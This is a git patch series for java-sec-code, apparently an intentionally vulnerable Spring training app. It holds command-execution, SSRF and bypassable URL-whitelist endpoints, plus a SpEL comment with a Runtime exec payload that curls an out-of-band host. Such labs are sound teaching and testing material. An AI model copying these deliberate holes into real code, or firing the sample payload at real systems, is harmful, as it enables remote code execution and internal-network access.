+++ b/src/main/java/org/joychou/controller/Rce.java
@@ -1,7 +1,7 @@
package org.joychou.controller;
+import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedInputStream;
@@ -17,8 +17,7 @@
@RequestMapping("/rce")
public class Rce {
- @RequestMapping("/exec")
- @ResponseBody
+ @GetMapping("/exec")
public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index 12384717..a98c9952 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -6,10 +6,7 @@
import org.joychou.util.WebUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestParam;
-import org.springframework.web.bind.annotation.ResponseBody;
-import org.springframework.web.bind.annotation.RestController;
+import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
@@ -29,17 +26,21 @@ public class SSRF {
private static Logger logger = LoggerFactory.getLogger(SSRF.class);
- @RequestMapping("/urlConnection/vuln")
- public static String URLConnectionVuln(String url) {
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102.
+ */
+ @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
+ public String URLConnectionVuln(String url) {
return HttpUtils.URLConnection(url);
}
- @RequestMapping("/urlConnection/sec")
- public static String URLConnectionSec(String url) {
+ @GetMapping("/urlConnection/sec")
+ public String URLConnectionSec(String url) {
// Decline not http/https protocol
- if (!url.startsWith("http://") && !url.startsWith("https://")) {
+ if (!SecurityUtil.isHttp(url)) {
return "[-] SSRF check failed";
}
@@ -55,9 +56,12 @@ public static String URLConnectionSec(String url) {
}
- @RequestMapping("/HttpURLConnection/sec")
- @ResponseBody
- public static String httpURLConnection(@RequestParam String url) {
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102.
+ */
+ @GetMapping("/HttpURLConnection/sec")
+ public String httpURLConnection(@RequestParam String url) {
try {
SecurityUtil.startSSRFHook();
return HttpUtils.HTTPURLConnection(url);
@@ -69,10 +73,14 @@ public static String httpURLConnection(@RequestParam String url) {
}
- // http://localhost:8080/ssrf/request/sec?url=http://www.baidu.com
- @RequestMapping("/request/sec")
- @ResponseBody
- public static String request(@RequestParam String url) {
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ *
+ * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org
+ */
+ @GetMapping("/request/sec")
+ public String request(@RequestParam String url) {
try {
SecurityUtil.startSSRFHook();
return HttpUtils.request(url);
@@ -92,9 +100,8 @@ public static String request(@RequestParam String url) {
* new URL(String url).openStream()
* new URL(String url).getContent()
*/
- @RequestMapping("/openStream")
- @ResponseBody
- public static void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
+ @GetMapping("/openStream")
+ public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
InputStream inputStream = null;
OutputStream outputStream = null;
try {
@@ -124,9 +131,12 @@ public static void openStream(@RequestParam String url, HttpServletResponse resp
}
- @RequestMapping("/ImageIO/sec")
- @ResponseBody
- public static String ImageIO(@RequestParam String url) {
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102.
+ */
+ @GetMapping("/ImageIO/sec")
+ public String ImageIO(@RequestParam String url) {
try {
SecurityUtil.startSSRFHook();
HttpUtils.imageIO(url);
@@ -140,9 +150,12 @@ public static String ImageIO(@RequestParam String url) {
}
- @RequestMapping("/okhttp/sec")
- @ResponseBody
- public static String okhttp(@RequestParam String url) {
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is okhttp/2.5.0.
+ */
+ @GetMapping("/okhttp/sec")
+ public String okhttp(@RequestParam String url) {
try {
SecurityUtil.startSSRFHook();
@@ -158,11 +171,13 @@ public static String okhttp(@RequestParam String url) {
/**
+ * The default setting of followRedirects is true.
+ * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ *
* http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com
*/
- @RequestMapping("/httpclient/sec")
- @ResponseBody
- public static String HttpClient(@RequestParam String url) {
+ @GetMapping("/httpclient/sec")
+ public String HttpClient(@RequestParam String url) {
try {
SecurityUtil.startSSRFHook();
@@ -177,11 +192,13 @@ public static String HttpClient(@RequestParam String url) {
/**
+ * The default setting of followRedirects is true.
+ * UserAgent is Jakarta Commons-HttpClient/3.1.
+ *
* http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
*/
- @RequestMapping("/commonsHttpClient/sec")
- @ResponseBody
- public static String commonsHttpClient(@RequestParam String url) {
+ @GetMapping("/commonsHttpClient/sec")
+ public String commonsHttpClient(@RequestParam String url) {
try {
SecurityUtil.startSSRFHook();
@@ -195,11 +212,13 @@ public static String commonsHttpClient(@RequestParam String url) {
}
/**
+ * The default setting of followRedirects is true.
+ * UserAgent is the useragent of browser.
+ *
* http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
*/
- @RequestMapping("/Jsoup/sec")
- @ResponseBody
- public static String Jsoup(@RequestParam String url) {
+ @GetMapping("/Jsoup/sec")
+ public String Jsoup(@RequestParam String url) {
try {
SecurityUtil.startSSRFHook();
@@ -214,11 +233,13 @@ public static String Jsoup(@RequestParam String url) {
/**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102.
+ *
* http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com
*/
- @RequestMapping("/IOUtils/sec")
- public static String IOUtils(String url) {
-
+ @GetMapping("/IOUtils/sec")
+ public String IOUtils(String url) {
try {
SecurityUtil.startSSRFHook();
HttpUtils.IOUtils(url);
@@ -232,4 +253,14 @@ public static String IOUtils(String url) {
}
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Apache-HttpAsyncClient/4.1.4 (Java/1.8.0_102).
+ */
+ @GetMapping("/HttpSyncClients/vuln")
+ public String HttpSyncClients(@RequestParam("url") String url) {
+ return HttpUtils.HttpAsyncClients(url);
+ }
+
+
}
diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
index 6d06ffc7..82163ab2 100644
--- a/src/main/java/org/joychou/controller/SpEL.java
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -2,6 +2,7 @@
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
+import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@@ -20,7 +21,7 @@ public class SpEL {
* xxx is urlencode(exp)
* exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
*/
- @RequestMapping("/spel/vuln")
+ @GetMapping("/spel/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java
index 8bc0d38b..3b75c7d0 100644
--- a/src/main/java/org/joychou/controller/Test.java
+++ b/src/main/java/org/joychou/controller/Test.java
@@ -3,16 +3,16 @@
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
-@Controller
+@RestController
@RequestMapping("/test")
public class Test {
@RequestMapping(value = "/")
- @ResponseBody
public String Index(HttpServletResponse response, String empId) {
System.out.println(empId);
@@ -23,4 +23,14 @@ public String Index(HttpServletResponse response, String empId) {
return "success";
}
+
+ @RequestMapping(value = "/aa")
+ public void test(HttpServletResponse response, String empId) {
+
+ System.out.println(empId);
+ Cookie cookie = new Cookie("XSRF-TOKEN", "123");
+ cookie.setDomain("taobao.com");
+ cookie.setMaxAge(-1); // forever time
+ response.addCookie(cookie);
+ }
}
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index c4b04dc5..b4d3c2f0 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -1,12 +1,11 @@
package org.joychou.controller;
+import org.joychou.security.SecurityUtil;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.*;
-import java.net.URI;
-import java.net.URL;
import java.util.ArrayList;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -32,9 +31,9 @@ public class URLWhiteList {
* http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org
*/
@GetMapping("/vuln/endsWith")
- public String endsWith(@RequestParam("url") String url) throws Exception {
- URL u = new URL(url);
- String host = u.getHost().toLowerCase();
+ public String endsWith(@RequestParam("url") String url) {
+
+ String host = SecurityUtil.gethost(url);
for (String domain : domainwhitelist) {
if (host.endsWith(domain)) {
@@ -52,9 +51,9 @@ public String endsWith(@RequestParam("url") String url) throws Exception {
* http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org
*/
@GetMapping("/vuln/contains")
- public String contains(@RequestParam("url") String url) throws Exception {
- URL u = new URL(url);
- String host = u.getHost().toLowerCase();
+ public String contains(@RequestParam("url") String url) {
+
+ String host = SecurityUtil.gethost(url);
for (String domain : domainwhitelist) {
if (host.contains(domain)) {
@@ -70,12 +69,12 @@ public String contains(@RequestParam("url") String url) throws Exception {
* http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org
*/
@GetMapping("/vuln/regex")
- public String regex(@RequestParam("url") String url) throws Exception {
- URL u = new URL(url);
- String host = u.getHost().toLowerCase();
+ public String regex(@RequestParam("url") String url) {
+ String host = SecurityUtil.gethost(url);
Pattern p = Pattern.compile("joychou\\.org$");
Matcher m = p.matcher(host);
+
if (m.find()) {
return "Good url.";
} else {
@@ -93,16 +92,15 @@ public String regex(@RequestParam("url") String url) throws Exception {
* More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
*/
@GetMapping("/vuln/url_bypass")
- public String url_bypass(String url) throws Exception {
+ public String url_bypass(String url) {
logger.info("url: " + url);
- URL u = new URL(url);
- if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
+ if (!SecurityUtil.isHttp(url)) {
return "Url is not http or https";
}
- String host = u.getHost().toLowerCase();
+ String host = SecurityUtil.gethost(url);
logger.info("host: " + host);
// endsWith .
@@ -121,16 +119,15 @@ public String url_bypass(String url) throws Exception {
* http://localhost:8080/url/sec/endswith?url=http://aa.joychou.org
*/
@GetMapping("/sec/endswith")
- public String sec_endswith(@RequestParam("url") String url) throws Exception {
+ public String sec_endswith(@RequestParam("url") String url) {
String whiteDomainlists[] = {"joychou.org", "joychou.com"};
- URI uri = new URI(url); // 必须用URI
- if (!url.startsWith("http://") && !url.startsWith("https://")) {
+ if (!SecurityUtil.isHttp(url)) {
return "SecurityUtil is not http or https";
}
- String host = uri.getHost().toLowerCase();
+ String host = SecurityUtil.gethost(url);
// endsWith .
for (String domain : whiteDomainlists) {
@@ -147,14 +144,14 @@ public String sec_endswith(@RequestParam("url") String url) throws Exception {
* http://localhost:8080/url/sec/multi_level_hos?url=http://ccc.bbb.joychou.org
*/
@GetMapping("/sec/multi_level_host")
- public String sec_multi_level_host(@RequestParam("url") String url) throws Exception {
+ public String sec_multi_level_host(@RequestParam("url") String url) {
String whiteDomainlists[] = {"aaa.joychou.org", "ccc.bbb.joychou.org"};
- URI uri = new URI(url);
- if (!url.startsWith("http://") && !url.startsWith("https://")) {
+ if (!SecurityUtil.isHttp(url)) {
return "SecurityUtil is not http or https";
}
- String host = uri.getHost().toLowerCase();
+
+ String host = SecurityUtil.gethost(url);
// equals
for (String domain : whiteDomainlists) {
@@ -171,19 +168,19 @@ public String sec_multi_level_host(@RequestParam("url") String url) throws Excep
* http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org
*/
@GetMapping("/sec/array_indexOf")
- public String sec_array_indexOf(@RequestParam("url") String url) throws Exception {
+ public String sec_array_indexOf(@RequestParam("url") String url) {
// Define muti-level host whitelist.
ArrayList whiteDomainlists = new ArrayList<>();
whiteDomainlists.add("bbb.joychou.org");
whiteDomainlists.add("ccc.bbb.joychou.org");
- URI uri = new URI(url);
-
- if (!url.startsWith("http://") && !url.startsWith("https://")) {
+ if (!SecurityUtil.isHttp(url)) {
return "SecurityUtil is not http or https";
}
- String host = uri.getHost().toLowerCase();
+
+ String host = SecurityUtil.gethost(url);
+
if (whiteDomainlists.indexOf(host) != -1) {
return "Good url.";
}
diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java
index f9a4c7fc..931a5688 100644
--- a/src/main/java/org/joychou/controller/XXE.java
+++ b/src/main/java/org/joychou/controller/XXE.java
@@ -41,7 +41,7 @@ public class XXE {
private static Logger logger = LoggerFactory.getLogger(XXE.class);
private static String EXCEPT = "xxe except";
- @RequestMapping(value = "/xmlReader/vuln", method = RequestMethod.POST)
+ @PostMapping("/xmlReader/vuln")
public String xmlReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 0b383f5d..ee962846 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -9,6 +9,7 @@
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.URI;
+import java.net.URISyntaxException;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.regex.Pattern;
@@ -19,6 +20,34 @@ public class SecurityUtil {
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
+
+ /**
+ * Determine if the URL starts with HTTP.
+ *
+ * @param url url
+ * @return true or false
+ */
+ public static boolean isHttp(String url) {
+ return url.startsWith("http://") || url.startsWith("https://");
+ }
+
+
+ /**
+ * Get http url host.
+ *
+ * @param url url
+ * @return host
+ */
+ public static String gethost(String url) {
+ try {
+ URI uri = new URI(url);
+ return uri.getHost().toLowerCase();
+ } catch (URISyntaxException e) {
+ return "";
+ }
+ }
+
+
/**
* 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。
* 优先判断黑名单,如果满足黑名单return null。
@@ -36,11 +65,10 @@ public static String checkURL(String url) {
ArrayList blockDomains = WebConfig.getBlockDomains();
try {
- URI uri = new URI(url);
- String host = uri.getHost().toLowerCase();
+ String host = gethost(url);
// 必须http/https
- if (!url.startsWith("http://") && !url.startsWith("https://")) {
+ if (!isHttp(url)) {
return null;
}
@@ -66,7 +94,7 @@ public static String checkURL(String url) {
}
}
return null;
- } catch (Exception e) {
+ } catch (NullPointerException e) {
logger.error(e.toString());
return null;
}
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
index 3860cad9..4ef0f046 100644
--- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -9,6 +9,7 @@
import org.apache.commons.lang.StringUtils;
import org.apache.commons.net.util.SubnetUtils;
import org.joychou.config.WebConfig;
+import org.joychou.security.SecurityUtil;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@@ -24,11 +25,10 @@ public static boolean checkURLFckSSRF(String url) {
ArrayList ssrfSafeDomains = WebConfig.getSsrfSafeDomains();
try {
- URI uri = new URI(url);
- String host = uri.getHost().toLowerCase();
+ String host = SecurityUtil.gethost(url);
// 必须http/https
- if (!url.startsWith("http://") && !url.startsWith("https://")) {
+ if (!SecurityUtil.isHttp(url)) {
return false;
}
@@ -170,16 +170,13 @@ private static String url2host(String url) {
try {
// 使用URI,而非URL,防止被绕过。
URI u = new URI(url);
- if (!url.startsWith("http://") && !url.startsWith("https://")) {
- return "";
+ if (SecurityUtil.isHttp(url)) {
+ return u.getHost();
}
-
- return u.getHost();
-
+ return "";
} catch (Exception e) {
return "";
}
-
}
}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
index de244134..799ca0e5 100644
--- a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
@@ -57,12 +57,7 @@ static void initSocketImpl(Class> initSocketImpl) {
SocketHookFactory.setHook(false);
throw new RuntimeException("InitSocketImpl failed! Hook stopped!");
}
-
-// try {
-// initSocketImpl = Class.forName("java.net.SocketImpl");
-// } catch (ClassNotFoundException e) {
-// System.out.println(e.getMessage());
-// }
+
if (!isInit) {
createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class>[]{boolean.class});
connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{String.class, int.class});
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
index 37eeb69a..571680a2 100644
--- a/src/main/java/org/joychou/util/HttpUtils.java
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -9,6 +9,9 @@
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
+import org.apache.http.impl.nio.client.CloseableHttpAsyncClient;
+import org.apache.http.impl.nio.client.HttpAsyncClients;
+import org.apache.http.util.EntityUtils;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.slf4j.Logger;
@@ -22,6 +25,7 @@
import java.net.URI;
import java.net.URL;
import java.net.URLConnection;
+import java.util.concurrent.*;
/**
* @author JoyChou 2020-04-06
@@ -30,14 +34,6 @@ public class HttpUtils {
private static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
-
- /**
- * https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient
- * UserAgent is Jakarta Commons-HttpClient/3.1. Last publish at 2007.08.
- *
- * @param url http request url
- * @return response
- */
public static String commonHttpClient(String url) {
HttpClient client = new HttpClient();
@@ -138,13 +134,10 @@ public static String HTTPURLConnection(String url) {
*/
public static String Jsoup(String url) {
try {
- String useragent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) " +
- "Chrome/64.0.3282.167 Safari/537.36";
Document doc = Jsoup.connect(url)
- .userAgent(useragent)
+ //.followRedirects(false)
.timeout(3000)
.cookie("name", "joychou") // request cookies
- //.followRedirects(false)
.execute().parse();
return doc.outerHtml();
} catch (IOException e) {
@@ -186,4 +179,25 @@ public static void IOUtils(String url) {
}
+ public static String HttpAsyncClients(String url) {
+ CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
+ try {
+ httpclient.start();
+ final HttpGet request = new HttpGet(url);
+ Future future = httpclient.execute(request, null);
+ HttpResponse response = future.get(6000, TimeUnit.MILLISECONDS);
+ return EntityUtils.toString(response.getEntity());
+ } catch (Exception e) {
+ return e.getMessage();
+ } finally {
+ try {
+ httpclient.close();
+ } catch (Exception e) {
+ logger.error(e.getMessage());
+ }
+ }
+
+ }
+
+
}
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index 8b72592e..c9934946 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -26,7 +26,7 @@ joychou.security.referer.uri = /jsonp/**
# csrf token check
joychou.security.csrf.enabled = true
# URI without CSRF check (only support ANT url format)
-joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**
+joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**
# method for CSRF check
joychou.security.csrf.method = POST
### csrf configuration ends ###
@@ -36,4 +36,7 @@ joychou.security.csrf.method = POST
# referer check
joychou.security.jsonp.referer.check.enabled = true
joychou.security.jsonp.callback = callback, _callback
-### jsonp configuration ends ###
\ No newline at end of file
+### jsonp configuration ends ###
+
+
+swagger.enable = true
\ No newline at end of file
From ab69c0b60c6746476a9c7be3172867000b8fefa2 Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Mon, 3 Aug 2020 17:17:33 +0800
Subject: [PATCH 22/41] bug fix
---
README.md | 1 +
pom.xml | 2 +-
.../java/org/joychou/config/SafeDomainParser.java | 11 +++++------
src/main/java/org/joychou/controller/SSRF.java | 7 +------
.../java/org/joychou/controller/URLWhiteList.java | 7 +++++--
.../org/joychou/security/CsrfAccessDeniedHandler.java | 7 +++----
.../java/org/joychou/security/ssrf/SSRFChecker.java | 2 +-
src/main/java/org/joychou/util/HttpUtils.java | 10 ++++++++--
src/main/resources/templates/index.html | 1 +
9 files changed, 26 insertions(+), 22 deletions(-)
diff --git a/README.md b/README.md
index 2c0a0bc8..56d10960 100644
--- a/README.md
+++ b/README.md
@@ -40,6 +40,7 @@ Sort by letter.
- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
+- [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java)
- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java)
diff --git a/pom.xml b/pom.xml
index 6e5c2455..2b273bad 100644
--- a/pom.xml
+++ b/pom.xml
@@ -7,7 +7,7 @@
sec
java-sec-code
1.0.0
- war
+ jar
1.8
diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java
index 6157f645..b92ff9eb 100644
--- a/src/main/java/org/joychou/config/SafeDomainParser.java
+++ b/src/main/java/org/joychou/config/SafeDomainParser.java
@@ -29,11 +29,9 @@ public SafeDomainParser() {
try {
// 读取resources目录下的文件
ClassPathResource resource = new ClassPathResource(safeDomainClassPath);
- File file = resource.getFile();
-
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
- Document doc = db.parse(file); // parse xml
+ Document doc = db.parse(resource.getInputStream()); // parse xml
NodeList rootNode = doc.getElementsByTagName(rootTag); // 解析根节点domains
Node domainsNode = rootNode.item(0);
@@ -68,6 +66,7 @@ public SafeDomainParser() {
WebConfig wc = new WebConfig();
wc.setSafeDomains(safeDomains);
+ logger.info(safeDomains.toString());
wc.setBlockDomains(blockDomains);
// 解析SSRF配置
@@ -86,11 +85,10 @@ public SafeDomainParser() {
try {
// 读取resources目录下的文件
ClassPathResource resource = new ClassPathResource(ssrfSafeDomainClassPath);
- File file = resource.getFile();
-
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
- Document doc = db.parse(file); // parse xml
+ // 修复打包成jar包运行,不能读取文件的bug
+ Document doc = db.parse(resource.getInputStream()); // parse xml
NodeList rootNode = doc.getElementsByTagName(ssrfRootTag); // 解析根节点
Node domainsNode = rootNode.item(0);
@@ -130,6 +128,7 @@ public SafeDomainParser() {
logger.error(e.toString());
}
+ logger.info(ssrfBlockIps.toString());
wc.setSsrfBlockDomains(ssrfBlockDomains);
wc.setSsrfBlockIps(ssrfBlockIps);
wc.setSsrfSafeDomains(ssrfSafeDomains);
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index a98c9952..9fdf757f 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -150,23 +150,18 @@ public String ImageIO(@RequestParam String url) {
}
- /**
- * The default setting of followRedirects is true.
- * UserAgent is okhttp/2.5.0.
- */
@GetMapping("/okhttp/sec")
public String okhttp(@RequestParam String url) {
try {
SecurityUtil.startSSRFHook();
- HttpUtils.okhttp(url);
+ return HttpUtils.okhttp(url);
} catch (SSRFException | IOException e) {
return e.getMessage();
} finally {
SecurityUtil.stopSSRFHook();
}
- return "okhttp ssrf test";
}
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index b4d3c2f0..e6f9b987 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -6,6 +6,8 @@
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.*;
+import java.net.MalformedURLException;
+import java.net.URL;
import java.util.ArrayList;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -92,7 +94,7 @@ public String regex(@RequestParam("url") String url) {
* More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
*/
@GetMapping("/vuln/url_bypass")
- public String url_bypass(String url) {
+ public String url_bypass(String url) throws MalformedURLException {
logger.info("url: " + url);
@@ -100,7 +102,8 @@ public String url_bypass(String url) {
return "Url is not http or https";
}
- String host = SecurityUtil.gethost(url);
+ URL u = new URL(url);
+ String host = u.getHost();
logger.info("host: " + host);
// endsWith .
diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java
index ba9c3f7f..2e1df795 100644
--- a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java
+++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java
@@ -7,15 +7,14 @@
import org.springframework.security.access.AccessDeniedException;
import org.springframework.security.web.access.AccessDeniedHandler;
-
-import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
- * Design csrf access denied page.
+ * Csrf access denied page.
*
+ * @author JoyChou
*/
public class CsrfAccessDeniedHandler implements AccessDeniedHandler {
@@ -23,7 +22,7 @@ public class CsrfAccessDeniedHandler implements AccessDeniedHandler {
@Override
public void handle(HttpServletRequest request, HttpServletResponse response,
- AccessDeniedException accessDeniedException) throws IOException, ServletException {
+ AccessDeniedException accessDeniedException) throws IOException {
logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" +
"Referer: " + request.getHeader("referer"));
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
index 4ef0f046..01b1b350 100644
--- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -50,7 +50,7 @@ public static boolean checkURLFckSSRF(String url) {
/**
* 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。
* url只允许https或者http,并且设置默认连接超时时间。
- * 该修复方案会主动请求重定向后的链接。最好用Hook方式获取到所有url后,进行判断,代码待续…
+ * 该修复方案会主动请求重定向后的链接。
*
* @param url check的url
* @param checkTimes 设置重定向检测的最大次数,建议设置为10次
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
index 571680a2..1f92cfb9 100644
--- a/src/main/java/org/joychou/util/HttpUtils.java
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -146,10 +146,16 @@ public static String Jsoup(String url) {
}
- public static void okhttp(String url) throws IOException {
+ /**
+ * The default setting of followRedirects is true. The option of followRedirects is true.
+ *
+ * UserAgent is okhttp/2.5.0.
+ */
+ public static String okhttp(String url) throws IOException {
OkHttpClient client = new OkHttpClient();
+ // client.setFollowRedirects(false);
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
- client.newCall(ok_http).execute();
+ return client.newCall(ok_http).execute().body().string();
}
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 671045d5..72779b8e 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -8,6 +8,7 @@
Hello .
Welcome to login java-sec-code application. Application Infomation
+ Swagger
CmdInject
JSONP
FileUpload
From 30dd98b81a6795f7f577ae0f2fde56680404395b Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Mon, 3 Aug 2020 17:49:12 +0800
Subject: [PATCH 23/41] fixes #23
---
src/main/resources/templates/login.html | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html
index dc6ee40f..1a4c4225 100644
--- a/src/main/resources/templates/login.html
+++ b/src/main/resources/templates/login.html
@@ -8,7 +8,7 @@
-
+